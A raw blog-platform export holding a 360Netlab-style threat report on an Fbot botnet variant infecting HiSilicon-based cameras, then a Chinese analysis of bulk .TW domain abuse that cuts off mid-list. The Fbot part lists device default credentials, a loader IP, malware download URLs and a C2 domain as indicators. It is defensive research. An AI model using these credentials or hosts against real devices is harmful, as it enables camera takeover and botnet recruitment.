BG 147 GR 142 HU 141 SG 130 IL 123 DE 109 BD 106 ES 103 The following is a list of infected camera's CPU models 8262 bigfish 3534 hi3520d 383 godarm 302 godnet 78 hi3535 8 Hisilicon Hi3536DV100 (Flattened Device Tree) Fbot infection process The Fbot infection is a multiple steps process, and we successfully captured Fbot samples and some Paylods through our Anglerfish honeypot and some Fuzz Testing tricks. We have not yet captured the key Exploit Payload though and would be interested if anyone has more detail on that. The following is overall infection process. First, the device that is infected with Fbot scans  TCP: 80, 81, 88, 8000, 8080 ports by issuing basic HTTP requests. When a target device returns the matching characteristics, Fbot will report the IP and port to its Reporter (185.61. 138.13:6565). After that, Fbot Loader (185.61.138.13) logs in to the target device web port through the device default password “admin/empty password”. If the target device responses, Fbot Loader uses the device default password “admin/tlJwpbo6” to log in to the dvrip port. (TCP: 34567). Since our Anglerfish honeypot has not emulated the dvrip protocol yet, we have no visibility on how the exploit works, is it by normal dvr protocol or some new exploit?  We have no answer at this point. Fuzz Fbot Loader Nevertheless, we still successfully bypassed the Fbot Loader's Exploit logic by performing Fuzz Testing on the dvrip protocol to see the rest actions of this botnet. It appears that the Fbot Loader then populates the Fbot downloader to our TCP: 9000 port via the Shell command. With this, we got the Fbot Downloader sample, and then through the Downloader sample we got the Fbot download URL. http://185.61.138.13:8080/fbot.arm5.u http://185.61.138.13:8080/fbot.arm7.u Sample analysis Downloader MD5：3b7f5be1c1ed582042f783ffcb23b754 This sample is delivered on the 9000 port through command line (echo -ne XXXXXX > downloader). It has only one mission, to download the Fbot and execute it through the HTTP protocol. The figure below shows the a snip of the sample. You can see the relevant code to download Fbot: fbot.arm5.u The fbot sample, MD5:  43A7D9956720B86330D4985C773E76C1 Encryption Two different layers of encryption and decryption codes are used in the sample to protect the static resources in the sample from being analyzed. The first part uses a single-byte XOR algorithm (exclusive OR 0x31), the relevant code is shown below (Python 2.7): After the above code is run, we get two code tables, which are ciphertext table/clear text table. By replacing the characters with the above two code tables, the static strings in the sample can be decrypted. The relevant code is shown below (Python): After the first line of output is truncated, the Fbot's C2 address (xabolfpzbz.ukrainianhorseriding.com) can be obtained. Then you can see some instructions (PING/PONG/LOLNOGTFO) and resource control related strings. It is worth noting that the last two lines of strings are the strings related to the ongoing scan event. Where "GET / HTTP/1.0" is used for scanning, and "uc-httpd 1.0.0" is the target feature. With the support of MIRAI-SYN-SCAN, once a qualified target is found, the target address information (IP:PORT) will be reported to the core Loader (185.61.138.13:6565). The relevant code and protocol format are as follows: DDOS attacks There are five attack vectors of this Fbot varaint, all of which are DDOS related. The relevant initialization code is as follows: Summary Relevant security and law enforcement agencies are welcomed to contact netlab[at]360.cn for a list of infected IP addresses. Contact Us Relevant security and law enforcement agencies are welcomed to contact netlab[at]360.cn for a list of infected IP addresses. Readers can reach us on our twitter, WeChat 360Netlab or email to netlab at 360 dot cn. IoC list C2: xabolfpzbz.ukrainianhorseriding.com:6592 reporter ip: 185.61.138.13:6565 loader ip: 185.61.138.13 url: http://185.61.138.13:8080/fbot.arm5.u http://185.61.138.13:8080/fbot.arm7.u md5: 9827375cd2e8ee9e3acc870e4b4c6097 downloader 3b7f5be1c1ed582042f783ffcb23b754 downloader 43a7d9956720b86330d4985c773e76c1 fbot.arm5.u ASN Top 20 "geoip.number.raw: Descending","geoip.asn.raw: Descending","Unique count of ip.raw" AS45899,"VNPT Corp",2590 AS7552,"Viettel Group",3600 AS3462,"Data Communication Business Group",1270 AS18403,"The Corporation for Financing & Promoting Technology",996 AS9121,"Turk Telekom",777 AS17552,"True Internet Co.,Ltd.",676 AS24086,"Viettel Corporation",531 AS4788,"TM Net, Internet Service Provider",428 AS17974,"PT Telekomunikasi Indonesia",376 AS45758,"Triple T Internet/Triple T Broadband",479 AS23969,"TOT Public Company Limited",325 AS18881,"TELEFÔNICA BRASIL S.A",319 AS8452,"TE-AS",259 AS9829,"National Internet Backbone",178 AS12880,"Information Technology Company (ITC)",277 AS8708,"RCS & RDS",270 AS8151,"Uninet S.A. de C.V.",282 AS9329,"Sri Lanka Telecom Internet",334 AS7738,"Telemar Norte Leste S.A.",183 AS3269,"Telecom Italia",209

{"version":"0.3.1","atoms":[["soft-return","",{}]],"cards":[["markdown",{"markdown":"Update 2019.12.04: Recently we have received quite a few requests of comment about this blog. We feel it necessary to list following facts here:\n\n1.\tKenneth Crurrin Schuchman, with nicknames \"Nexus\" or \"Nexus-Zeta\", a 21 years old young man, has pleaded guilty on 2019.09.03 to the United States District Court for the District of Alaska. The Factual Basis in the Plea Agreement show that Schuchman and his co-conspirators has infected massive devices to create a series of botnets, including Satori, Okiru, Masuta, Tsunami and Fbot, and to make money through them.\n2.\tThe vulnerability listed in this blog, is not inside Hisilicon Soc Chipset or product. Through later analyze and communication with the security community, we are sure it is located in one downstream vendor. To protect our end users, we will not disclose the vulnerability detail, the attack payload, or the name of the vendor.\n3.\tHuawei PSIRT took a responsible action for this event.\n \nReaders, please kindly keep in mind that the string Hisilicon listed in this blog or buried in the malware sample is derived from the misunderstanding of Schuchman and his co-conspirators. Actually, the whole IoT supply chain is so complex for every single pacificator, that only by a throughout cooperation from the industry and the security community can we make it safer. \n\n\nUpdate 2019.02.21: we have captured the key exploit at around 11am 2/21 (GMT+8), it appears that some vendor have weak security implementation of DVRIP protocol, and attacker has spot the weakness and sets up telnet backdoor and inject Fbot botnet on the related victims."}],["image",{"src":"__GHOST_URL__/content/images/2019/02/fbot.png","alt":"fbot","title":"","caption":"Figure 1: Infected camera IP country/region distribution"}],["code",{"code":"VN 6760\nTW 2110\nTH 1459\nBR 1276\nTR 1137\nIN 942\nIR 892\nRU 862\nID 609\nRO 579\nMY 553\nIT 489\nCO 363\nEG 362\nLK 360\nUS 328\nAR 310\nMX 293\nFR 255\nPK 237\nUY 185\nPL 184\nGB 184\nVE 183\nCL 177\nMA 176\nUA 166\nBG 147\nGR 142\nHU 141\nSG 130\nIL 123\nDE 109\nBD 106\nES 103"}],["code",{"code":" 8262 bigfish\n 3534 hi3520d\n 383 godarm\n 302 godnet\n 78 hi3535\n 8 Hisilicon Hi3536DV100 (Flattened Device Tree)\n"}],["image",{"src":"__GHOST_URL__/content/images/2019/02/fbot_http_scan-3.png","caption":"Figure 2: Infection process"}],["code",{"code":"http://185.61.138.13:8080/fbot.arm5.u\nhttp://185.61.138.13:8080/fbot.arm7.u\n"}],["image",{"src":"__GHOST_URL__/content/images/2019/02/image001.png","alt":"image001","title":""}],["image",{"src":"__GHOST_URL__/content/images/2019/02/image003.png","alt":"image003","title":""}],["image",{"src":"__GHOST_URL__/content/images/2019/02/image004.png","alt":"image004","title":""}],["image",{"src":"__GHOST_URL__/content/images/2019/02/image006.png","alt":"image006","title":""}],["image",{"src":"__GHOST_URL__/content/images/2019/02/image008.png","alt":"image008","title":""}],["code",{"code":"C2:\nxabolfpzbz.ukrainianhorseriding.com:6592\n\nreporter ip:\n185.61.138.13:6565\n\nloader ip:\n185.61.138.13\n\nurl:\nhttp://185.61.138.13:8080/fbot.arm5.u\nhttp://185.61.138.13:8080/fbot.arm7.u\n\nmd5:\n9827375cd2e8ee9e3acc870e4b4c6097 downloader\n3b7f5be1c1ed582042f783ffcb23b754 downloader\n43a7d9956720b86330d4985c773e76c1 fbot.arm5.u\n\n"}],["code",{"code":"\"geoip.number.raw: Descending\",\"geoip.asn.raw: Descending\",\"Unique count of ip.raw\"\nAS45899,\"VNPT Corp\",2590\nAS7552,\"Viettel Group\",3600\nAS3462,\"Data Communication Business Group\",1270\nAS18403,\"The Corporation for Financing & Promoting Technology\",996\nAS9121,\"Turk Telekom\",777\nAS17552,\"True Internet Co.,Ltd.\",676\nAS24086,\"Viettel Corporation\",531\nAS4788,\"TM Net, Internet Service Provider\",428\nAS17974,\"PT Telekomunikasi Indonesia\",376\nAS45758,\"Triple T Internet/Triple T Broadband\",479\nAS23969,\"TOT Public Company Limited\",325\nAS18881,\"TELEFÔNICA BRASIL S.A\",319\nAS8452,\"TE-AS\",259\nAS9829,\"National Internet Backbone\",178\nAS12880,\"Information Technology Company (ITC)\",277\nAS8708,\"RCS & RDS\",270\nAS8151,\"Uninet S.A. de C.V.\",282\nAS9329,\"Sri Lanka Telecom Internet\",334\nAS7738,\"Telemar Norte Leste S.A.\",183\nAS3269,\"Telecom Italia\",209\n"}]],"markups":[["a",["href","__GHOST_URL__/threat-alert-a-new-worm-fbot-cleaning-adbminer-is-using-a-blockchain-based-dns-en/"]],["a",["href","https://twitter.com/360Netlab"]],["strong"]],"sections":[[10,0],[1,"h3",[[0,[],0,"Background introduction"]]],[1,"p",[[0,[],0,"Beginning on February 16, 2019, 360Netlab has discovered that a large number of HiSilicon DVR/NVR Soc devices have been exploited by attackers to load an updated Fbot botnet program. Fbot was originally discovered and disclosed by 360Netlab ["],[0,[0],1,"1]"],[0,[],0," , it has been active and is constantly being upgraded. The Fbot we captured this time is a variant targeting HiSilicon DVR/NVR Soc device. (Please bear in mind that IoT product has a long market chain and thing can go wrong at every possible downstream or upstream manufacturere, we list HiSilicon DVR/NVR Soc here as that is what is being shown on the bots themself, the root problem might be a specific OEM application running on top of the HiSilicon. Without a working exploit, this is a question yet to be answered.)"]]],[1,"h3",[[0,[],0,"Fbot infection target"]]],[1,"p",[[0,[],0,"By probing the IP banner information of the infected devices, we get a list of infected device models and all banner messages suggest that the bots have HiSilicon DVR/NVR Soc device family CPU running . We see a few different camera brands as a number of camera manufacturers oem HiSilicon DVR/NVR Soc device."]]],[1,"p",[[0,[],0,"All together, we have 24528 infected IPs"]]],[10,1],[1,"p",[[0,[],0,"The following is a country breakdown of infected camera IPs"]]],[10,2],[1,"p",[[0,[],0,"The following is a list of infected camera's CPU models"]]],[10,3],[1,"h3",[[0,[],0,"Fbot infection process"]]],[1,"p",[[0,[],0,"The Fbot infection is a multiple steps process, and we successfully captured Fbot samples and some Paylods through our Anglerfish honeypot and some Fuzz Testing tricks. We have not yet captured the key Exploit Payload though and would be interested if anyone has more detail on that. "]]],[1,"p",[[0,[],0,"The following is overall infection process."]]],[10,4],[1,"p",[[0,[],0,"First, the device that is infected with Fbot scans TCP: 80, 81, 88, 8000, 8080 ports by issuing basic HTTP requests. When a target device returns the matching characteristics, Fbot will report the IP and port to its Reporter (185.61. 138.13:6565)."]]],[1,"p",[[0,[],0,"After that, Fbot Loader (185.61.138.13) logs in to the target device web port through the device default password “admin/empty password”. If the target device responses, Fbot Loader uses the device default password “admin/tlJwpbo6” to log in to the dvrip port. (TCP: 34567)."]]],[1,"p",[[0,[],0,"Since our Anglerfish honeypot has not emulated the dvrip protocol yet, we have no visibility on how the exploit works, is it by normal dvr protocol or some new exploit? We have no answer at this point."]]],[1,"h3",[[0,[],0,"Fuzz Fbot Loader"]]],[1,"p",[[0,[],0,"Nevertheless, we still successfully bypassed the Fbot Loader's Exploit logic by performing Fuzz Testing on the dvrip protocol to see the rest actions of this botnet. It appears that the Fbot Loader then populates the Fbot downloader to our TCP: 9000 port via the Shell command. With this, we got the Fbot Downloader sample, and then through the Downloader sample we got the Fbot download URL."]]],[10,5],[1,"h2",[[0,[],0,"Sample analysis"]]],[1,"h3",[[0,[],0,"Downloader"]]],[1,"p",[[0,[],0,"MD5：3b7f5be1c1ed582042f783ffcb23b754"],[1,[],0,0],[0,[],0,"This sample is delivered on the 9000 port through command line (echo -ne XXXXXX > downloader). It has only one mission, to download the Fbot and execute it through the HTTP protocol. The figure below shows the a snip of the sample. You can see the relevant code to download Fbot:"]]],[10,6],[1,"h3",[[0,[],0,"fbot.arm5.u"]]],[1,"p",[[0,[],0,"The fbot sample, MD5: 43A7D9956720B86330D4985C773E76C1"]]],[1,"h4",[[0,[],0,"Encryption"]]],[1,"p",[[0,[],0,"Two different layers of encryption and decryption codes are used in the sample to protect the static resources in the sample from being analyzed."]]],[1,"p",[[0,[],0,"The first part uses a single-byte XOR algorithm (exclusive OR 0x31), the relevant code is shown below (Python 2.7):"]]],[10,7],[1,"p",[[0,[],0,"After the above code is run, we get two code tables, which are ciphertext table/clear text table. By replacing the characters with the above two code tables, the static strings in the sample can be decrypted. The relevant code is shown below (Python):"]]],[10,8],[1,"p",[[0,[],0,"After the first line of output is truncated, the Fbot's C2 address (xabolfpzbz.ukrainianhorseriding.com) can be obtained."]]],[1,"p",[[0,[],0,"Then you can see some instructions (PING/PONG/LOLNOGTFO) and resource control related strings."]]],[1,"p",[[0,[],0,"It is worth noting that the last two lines of strings are the strings related to the ongoing scan event. Where \"GET / HTTP/1.0\" is used for scanning, and \"uc-httpd 1.0.0\" is the target feature. With the support of MIRAI-SYN-SCAN, once a qualified target is found, the target address information (IP:PORT) will be reported to the core Loader (185.61.138.13:6565). The relevant code and protocol format are as follows: "]]],[10,9],[1,"h4",[[0,[],0,"DDOS attacks"]]],[1,"p",[[0,[],0,"There are five attack vectors of this Fbot varaint, all of which are DDOS related. The relevant initialization code is as follows:"]]],[10,10],[1,"h3",[[0,[],0,"Summary"]]],[1,"p",[[0,[],0,"Relevant security and law enforcement agencies are welcomed to contact netlab[at]360.cn for a list of infected IP addresses."]]],[1,"h4",[[0,[],0,"Contact Us"]]],[1,"p",[[0,[],0,"Relevant security and law enforcement agencies are welcomed to contact netlab[at]360.cn for a list of infected IP addresses."]]],[1,"p",[[0,[],0,"Readers can reach us on our "],[0,[1,2],2,"twitter"],[0,[],0,", WeChat "],[0,[2],1,"360Netlab"],[0,[],0," or email to netlab at 360 dot cn."]]],[1,"h3",[[0,[],0,"IoC list"]]],[10,11],[1,"h3",[[0,[],0,"ASN Top 20"]]],[10,12]],"ghostVersion":"3.0"}

5c6cd6853e49df0007c26ba3

post

2019-03-28T08:55:49.000Z

63873b9a8b1c1e0007f52f45

twde-yu-ming-lan-yong-qing-kuang-fen-xi

2019-04-18T03:14:35.000Z

public

draft

.TW顶级域的域名滥用情况分析

<blockquote><em>注：本文所说的 .TW 顶级域仅指SLD.TW这类域名，并不包含com.tw, net.tw, org.tw, idv.tw, game.tw, club.tw, ebiz.tw 等复合顶级域。</em></blockquote><!--kg-card-begin: markdown--><h1 id="noddnsmon">NOD 以及 DNSMon</h1> <p>Newly Observered Doamin（NOD）是指在DNS系统中新出现的域名，对NOD域名的监测和标记能够快速的对新出现的各种应用进行发现和分析。NOD域名经常会用来做垃圾邮件，恶意软件的分发以及botnet的C2等。此外各种灰产（赌博，色情，网络诈骗）为了避免为安全设备/程序的封杀，也经常会使用NOD来开展业务。对NOD的监控对一个完善的DNS监控系统必须具备的功能。</p> <p>DNSMon系统是360netlab开发的，针对互联网DNS流量做持续不断的监控和各种异常检测的系统，如果发现了异常域名，它还能够对发生异常的域名打上多种属性的标签。标签辅助分析人员和客户对发生异常的域名进行综合判断。对NOD域名的监测是DNSMon系统的一项功能，DNSMon系统能够对新注册域名的使用情况进行及时，准确的分析。必要情况下还可以在resolver层面进行对异常域名实时的封堵。</p> <p>一段时间以来，DNSMon系统不断的收到大量的以.TW为顶级域的NOD域名的告警。这类域名在DNS系统中被大量的解析。而这些域名承载的内容多数为赌博，色情，网络欺诈等灰色业务并且它们使用的基础设施较为为集中。这种异常情况引发了我们调查.TW顶级域的兴趣。</p> <!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h1 id="">一些例子</h1> <p>首先来看看这类域名的样子。我们列举了部分这类域名，可以看到这部分域名奇奇怪怪，必然不会是正常操作所致。<br> <img src="__GHOST_URL__/content/images/2019/04/domain_case2-3.png" alt="domain_case2-3" loading="lazy"></p> <p>从上图中可以看出：</p> <ol> <li>域名是字母数字组合的长度不定的随机域名，推断应该是批量注册的。</li> <li>其承载业务的页面title有的非常直接的涉及赌博关键字（赛马，心水论坛等等），有些则貌似是正常的公司名称。</li> <li>对第二种情况，下面的图清晰的说明了其仍然是一个赌博站：<br> <img src="__GHOST_URL__/content/images/2019/04/keywords-1.png" alt="keywords-1" loading="lazy"></li> </ol> <p>若从具体网页来看，有的是简洁跳转风格，有的是混乱模板风格，不一而足。</p> <h4 id="">简洁跳转风格：</h4> <p><img src="__GHOST_URL__/content/images/2019/04/page3_simple-2.png" alt="page3_simple-2" loading="lazy"></p> <h4 id="">混乱模板风格：</h4> <p><img src="__GHOST_URL__/content/images/2019/04/page2_template-1.png" alt="page2_template-1" loading="lazy"></p> <h1 id="">进一步分析</h1> <p>为了彻底调查清楚这些域名的注册及实际使用情况，我们对.TW顶级域的域名进行深入的分析。<br> 经过对出现告警的 .TW域名的简单统计，发现这些域名的注册时间比较集中，很容易考虑到.TW顶级域的域名是否免费注册过？<br> 根据之前的<a href="https://www.mrkevin.net/share/1667.html">消息</a>，我们知道在2018年8月25号，亚运会期间，台湾域名注册商net-chinese曾经发起过免费注册使用 .TW域名一年的活动。由此看来 .TW域名的确有过免费注册的先例。<br> 为了更准确的分析这部分数据，后续分析的数据以2018-08-25为域名注册日期的起始点。<br> 现在初步看来只要有免费的活动，就少不了各种钻空子的羊毛党的活动。</p> <!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h1 id="tw">.TW顶级域数据统计</h1> <h2 id="">时间范围</h2> <p>如上一节所说，net-chinese的免费域名开始时间是2018年8月25号。所以本次统计分析的数据仅针对2018.08.25 ~ 2019.03.27 这个时间范围内注册的域名。</p> <h2 id="">基本数据</h2> <ul> <li>根据<a href="https://www.twnic.net.tw/doc/a_report/2018/domain.htm">TWNIC2018年的年度报告</a>，TW顶级域下共有 4,798,932个域名。</li> <li>从这2018.08.25开始截止到2019年3月27号为止，在DNSMon中，一共监测到3,201,378个以TW为顶级域的注册域名。</li> </ul> <h2 id="">注册邮箱</h2> <ul> <li>其中单个邮箱注册域名超过10,000的就有65个。这65个邮箱注册域名总数2,991,348，占我们调研时间段总域名数的93.43%，<strong>占TW总域名数的62.33%</strong>;</li> <li>如果把单个邮箱注册域名放宽到1,000的就有107个。这107个邮箱注册域名总数3,143,758，占我们调研时间段总域名数的98.20%，<strong>占TW总域名数的65.51%</strong>。</li> <li>换句话说，现在TW顶级域至少 <strong>65.51%</strong> 的域名是由域名贩子注册的。</li> <li>其中最大的一个邮箱注册了<strong>200,848</strong>个域名，约占TW总域名数的<strong>4.19%</strong>，相当恐怖的一个数字。<br> 注册超过10,000个域名的邮箱具体分布如下：<br> <img src="__GHOST_URL__/content/images/2019/03/tw_email_reg_distr_v2.png" alt="tw_email_reg_distr_v2" loading="lazy"></li> </ul> <h3 id="cn">对比一下CN域名的数据：</h3> <ul> <li>根据CNNIC的<a href="http://www.cnnic.net.cn/hlwfzyj/hlwxzbg/hlwtjbg/201902/t20190228_70645.htm">第43次《中国互联网络发展状况统计报告》</a>，截止到2018年12月，CN域名总数为21,243,000</li> <li>从2018年8月1日到2019年4月16日为止，在DNSMon中，共监测到5,956,594个以CN为顶级域的注册域名，占比为28.04%</li> <li>单个邮箱注册超过10,000的有89个，注册的域名总数为2,452,934，占调研时间段总数的41.18%，占总域名数的11.55%。</li> <li>单个邮箱注册超过1,000的有 817个，注册的域名总数为4,538,631，占调研时间段总数的76.20%，占总域名数的21.26%。<br> 综合来看，CN域名被米农注册情况比TW的域名好一些，尤其是单个邮箱注册超过10,000的域名总数无论比例上还是绝对值，都要比TW要少。但由于CN域名的总量较大，绝对数量来看，还是要超过TW域名的。不过无论是TW还是CN，都存在大量的米农批量注册域名的情况。</li> </ul> <p>由于CN和TW域名在滥用模式上有相似的特点，下面我们以TW的域名为例来讨论，来看看这种批量注册域名的业务的应用情况。</p> <h2 id="">注册时间</h2> <p>如果从注册时间来看的话：</p> <ul> <li>从2018-08-25到2018-09-31这37天的时间内注册了3,032,339个域名，占我们调研时间段注册域名数的<strong>94.71%</strong>。</li> <li>从2019-02-15到2019-03-13这27天内也注册了159,943个域名，占我们调研时间段内注册域名总数的<strong>4.99%</strong>。<br> 具体如下图所示：<br> <img src="__GHOST_URL__/content/images/2019/03/create_date_distr.png" alt="create_date_distr" loading="lazy"></li> </ul> <h3 id="">不同注册时间下的注册邮箱</h3> <p>前文提到，注册超过1000个域名的邮箱共有107个，在这两拨注册高峰中，只有3个邮箱同时参与了两拨高峰的注册。<br> <img src="__GHOST_URL__/content/images/2019/03/common_email.png" alt="common_email" loading="lazy"></p> <h2 id="">注册商</h2> <p>出乎我们预料的是，在注册商方面，并不是开启免费注册的net-chinese占据大头，反而是Eranet International Limited独领风骚。具体分布如下：<img src="__GHOST_URL__/content/images/2019/03/registra_distr.png" alt="registra_distr" loading="lazy"></p> <p>Eranet International Limited的实体是广东时代互联科技有限公司，是中国大陆地区唯一代理TW顶级域的域名注册商。通过其注册一个tw域名的需要的费用为每年45.16美元，比Godday的费用要高50%。在收费这么高的注册商上批量注册如此多的域名，真是令人费解。</p> <p>如果我们只看第二波注册高峰，即2019年2月15号之后注册的域名来看，其注册商的分布如下：<br> <img src="__GHOST_URL__/content/images/2019/03/registra_distr_2019-1.png" alt="registra_distr_2019-1" loading="lazy"><br> 整体来看，注册商的排名没有变化，只是各自的比例有一些调整。</p> <h2 id="">为什么会这样？</h2> <p>最初我们推断第一波的注册主要是因为net-chinese的免费政策产生的结果。但是经过分析注册商之后发现这个推断并不成立。</p> <p>在Godday上注册一个TW顶级域的域名费用大约为每年200人民币。在Eranet International Limited注册一个TW域名费用大概是307人民币。如果按照Godday的费用计算，仅2019年新注册的159,943域名总开销接近<strong>32,000,000</strong>人民币。这么高的注册费用，显然不可能支撑TW域名如此规模的滥用。</p> <p>考虑到不同注册商的价格可能有较大的差异，并且我们注意到在批量注册的邮箱中，有不少是专门做域名生意的米农。在跟他们交流之后发现，一个TW的域名每年只要4～5块人民币即可，当然这个价格是批发价，1000个域名起步。</p> <h4 id="1">批发商1</h4> <p><img src="__GHOST_URL__/content/images/2019/04/yumingpifa-1.png" alt="" loading="lazy"></p> <h4 id="2">批发商2</h4> <p><img src="__GHOST_URL__/content/images/2019/04/now-1.png" alt="" loading="lazy"></p> <p>由此我们可以看到TW域名滥用的基本模式：</p> <ol> <li>米农从注册商低价批发到大量（万计或者十万计）的TW域名。</li> <li>米农讲到手的域名同样以批发的形式以较低出售/出租</li> <li>需要大量域名的行业（比如：黑帽SEO/垃圾广告/灰色流量）的从业者会从米农手里批量购买这些域名</li> </ol> <p>另外提一句：net-chinese开放免费注册TW顶级域有效期只有一年，可以预见，2019年8月25号之后，会相当多的TW顶级域域名会释放。</p> <!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h1 id="">这些域名的首次访问时间</h1> <p>接着上面的问题，在注册了这些域名之后，这些域名第一次的DNS请求时间是和域名注册时间的差值是否有特定的关系？利用DNSMon的数据，我们统计出了域名注册时间和第一次访问时间差的累计分布图：<br> <img src="__GHOST_URL__/content/images/2019/04/delta.png" alt="delta" loading="lazy"></p> <p>如果我们把注册域名成功认为是产品已经就绪，而有第一次DNS访问认为产品销售完成。那么完全销售这些域名所需时间长度如下：</p> <ol> <li>4.65%的域名在1周之内会销售出去；</li> <li>40%的域名在1个月之内会销售出去；</li> <li>81%的域名在3个月之内会销售出去；</li> <li>最难销售的10%的域名需要花3个月时间才能销售完成。</li> </ol> <h1 id="">这些域名的业务</h1> <p>我们提取了DNSMon系统从2019-02-15开始捕获到的295664个.TW顶级域域名，并对其中245669个域名打上相应的标签，这些标签的分布如下：</p> <p><img src="__GHOST_URL__/content/images/2019/03/domain_business.png" alt="domain_business" loading="lazy"></p> <p>可以看到，色情和赌博占据了89%的比例，有5%的域名的业务无法正常访问，2%的游戏业务，剩余的4%其他的业务类型，包括处在parking状态的，做垃圾邮件的等等。</p> <h1 id="">这些域名的基础设施</h1> <p>这些域名主要运行在美国的多个CDN以及cloudflare上面，中国香港和南非有一小部分，剩余较少部分则运行于其他的50多个国家和地区。具体分布如下图：<br> <img src="__GHOST_URL__/content/images/2019/03/infrastructure.png" alt="infrastructure" loading="lazy"></p> <h1 id="">这些域名的流量来源</h1> <p>由此更深入一步，我们希望知道如此大规模的域名的流量到底从何而来？用户是如何触发这些域名的请求的。这些域名的所有者又是如何盈利的？</p> <p>利用DNSMon系统，我们查询了部分.TW域名的共生域名的URL中，有一些URL存在有 “groupmessage&amp;isappinstalled=” 这个模式，而此模式是在<a href="https://www.v2ex.com/t/401975">微信分享</a>的时候的特有模式。</p> <h4 id="url">微信分享有关的URL模式</h4> <p><img src="__GHOST_URL__/content/images/2019/04/related_dn_url-1.png" alt="related_dn_url-1" loading="lazy"></p> <p>由此我们推测，部分.TW 域名的滥用应该和微信分享有关。从<a href="http://www.thinkphp.cn/code/5211.html">公开的文章</a>来看，微信已经对这类垃圾信息做了一定的封堵策略。为了对抗微信的封堵，其中一种技术手段就是利用大量的域名来躲避微信的封堵黑名单。</p> <h4 id="">利用大量的域名来躲避微信的封堵黑名单</h4> <p><img src="__GHOST_URL__/content/images/2019/04/wechat_block-1.png" alt="wechat_block-1" loading="lazy"></p> <p>所以现在的一些域名注册商也开始鼓吹微信防封域名，并以此提高域名的交易价格。</p> <h4 id="">注册商提供的微信防封域名</h4> <img src="__GHOST_URL__/content/images/2019/04/huaimi_wechat_antiblock-2.png"> <h4 id="myci">来自蜜罐数据（myci）的实锤信息</h4> <p>通过对某些域名的数据的捕获，我们找到了其通信的关联数据，具体如下：</p> <img src="__GHOST_URL__/content/images/2019/04/tw_domain_wechat_source-1.png"> <p>从UA可以清楚的看到访问 47r06mg.tw 的流量来源来自于OPPO的数据，并且refer的URL也有清晰的关于微信群分享的URL特征。</p> <h4 id="sinkhole">来自sinkhole的实锤数据</h4> <p>通过对某些域名的数据捕获，我们找到了其通信的关联数据，具体如下：<br> <img src="__GHOST_URL__/content/images/2019/04/tw_domain_wechat_v2.png" alt="tw_domain_wechat_v2" loading="lazy"><br> 如果点击页面上方的投诉按钮，就会进入到微信的投诉渠道。下方的投诉须知明确表明这写内容是承载在微信的平台上的。<br> <img src="__GHOST_URL__/content/images/2019/04/tousu_wechat.png" alt="tousu_wechat" loading="lazy"></p> <p>由此可见，多域名切换在微信产业链中的需求非常旺盛。哪里能够提供大量的，低成本的域名，灰色产业链对域名的需求就会扩展到哪里。<br> 利用DNSMon的共生域名，结合我们的蜜罐数据我们确定.TW域名恰逢时机的提供了大量的低成本的域名供灰色产业链使用。</p> <!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h1 id="">结论</h1> <ul> <li>截至目前（2019-03-27）.TW 顶级域中存在大量的垃圾域名，约占.TW下域名总数的的65%。</li> <li>这些域名主要应用于赌博，色情，垃圾邮件，网络诈骗等灰色行业。</li> <li>域名贩子通过注册商以极低的价格批量注册了大量的.TW域名，然后在转手卖给灰色产品的从业者。</li> </ul> <p>========</p> <ul> <li>我们希望注册局能够严格审核注册信息的准确性、有效性，减少注册信息中的噪音，提高信息准确度。</li> <li>免费的顶级域TK/ML/CF/GQ/GA等黑灰产滥用广为人知，因此很多APP对这类顶级域的域名的使用进行了限制。</li> <li>如果在顶级域层面开放免费策略，一定要考虑到免费注册域名被滥用的可能性，以及由此引起的顶级域声誉的下降。</li> </ul> <p>后续我们还会持续关注 .TW顶级域的域名使用情况。</p> <!--kg-card-end: markdown-->

注：本文所说的 .TW 顶级域仅指SLD.TW这类域名，并不包含com.tw, net.tw, org.tw, idv.tw, game.tw, club.tw, ebiz.tw 等复合顶级域。 NOD 以及 DNSMon Newly Observered Doamin（NOD）是指在DNS系统中新出现的域名，对NOD域名的监测和标记能够快速的对新出现的各种应用进行发现和分析。NOD域名经常会用来做垃圾邮件，恶意软件的分发以及botnet的C2等。此外各种灰产（赌博，色情，网络诈骗）为了避免为安全设备/程序的封杀，也经常会使用NOD来开展业务。对NOD的监控对一个完善的DNS监控系统必须具备的功能。 DNSMon系统是360netlab开发的，针对互联网DNS流量做持续不断的监控和各种异常检测的系统，如果发现了异常域名，它还能够对发生异常的域名打上多种属性的标签。标签辅助分析人员和客户对发生异常的域名进行综合判断。对NOD域名的监测是DNSMon系统的一项功能，DNSMon系统能够对新注册域名的使用情况进行及时，准确的分析。必要情况下还可以在resolver层面进行对异常域名实时的封堵。 一段时间以来，DNSMon系统不断的收到大量的以.TW为顶级域的NOD域名的告警。这类域名在DNS系统中被大量的解析。而这些域名承载的内容多数为赌博，色情，网络欺诈等灰色业务并且它们使用的基础设施较为为集中。这种异常情况引发了我们调查.TW顶级域的兴趣。 一些例子 首先来看看这类域名的样子。我们列举了部分这类域名，可以看到这部分域名奇奇怪怪，必然不会是正常操作所致。 从上图中可以看出： 1. 域名是字母数字组合的长度不定的随机域名，推断应该是批量注册的。 2. 其承载业务的页面title有的非常直接的涉及赌博关键字（赛马，心水论坛等等），有些则貌似是正常的公司名称。 3. 对第二种情况，下面的图清晰的说明了其仍然是一个赌博站： 若从具体网页来看，有的是简洁跳转风格，有的是混乱模板风格，不一而足。 简洁跳转风格： 混乱模板风格： 进一步分析 为了彻底调查清楚这些域名的注册及实际使用情况，我们对.TW顶级域的域名进行深入的分析。 经过对出现告警的 .TW域名的简单统计，发现这些域名的注册时间比较集中，很容易考虑到.TW顶级域的域名是否免费注册过？ 根据之前的消息，我们知道在2018年8月25号，亚运会期间，台湾域名注册商net-chinese曾经发起过免费注册使用 .TW域名一年的活动。由此看来 .TW域名的确有过免费注册的先例。 为了更准确的分析这部分数据，后续分析的数据以2018-08-25为域名注册日期的起始点。 现在初步看来只要有免费的活动，就少不了各种钻空子的羊毛党的活动。 .TW顶级域数据统计 时间范围 如上一节所说，net-chinese的免费域名开始时间是2018年8月25号。所以本次统计分析的数据仅针对2018.08.25 ~ 2019.03.27 这个时间范围内注册的域名。 基本数据 * 根据TWNIC2018年的年度报告，TW顶级域下共有 4,798,932个域名。 * 从这2018.08.25开始截止到2019年3月27号为止，在DNSMon中，一共监测到3,201,378个以TW为顶级域的注册域名。 注册邮箱 * 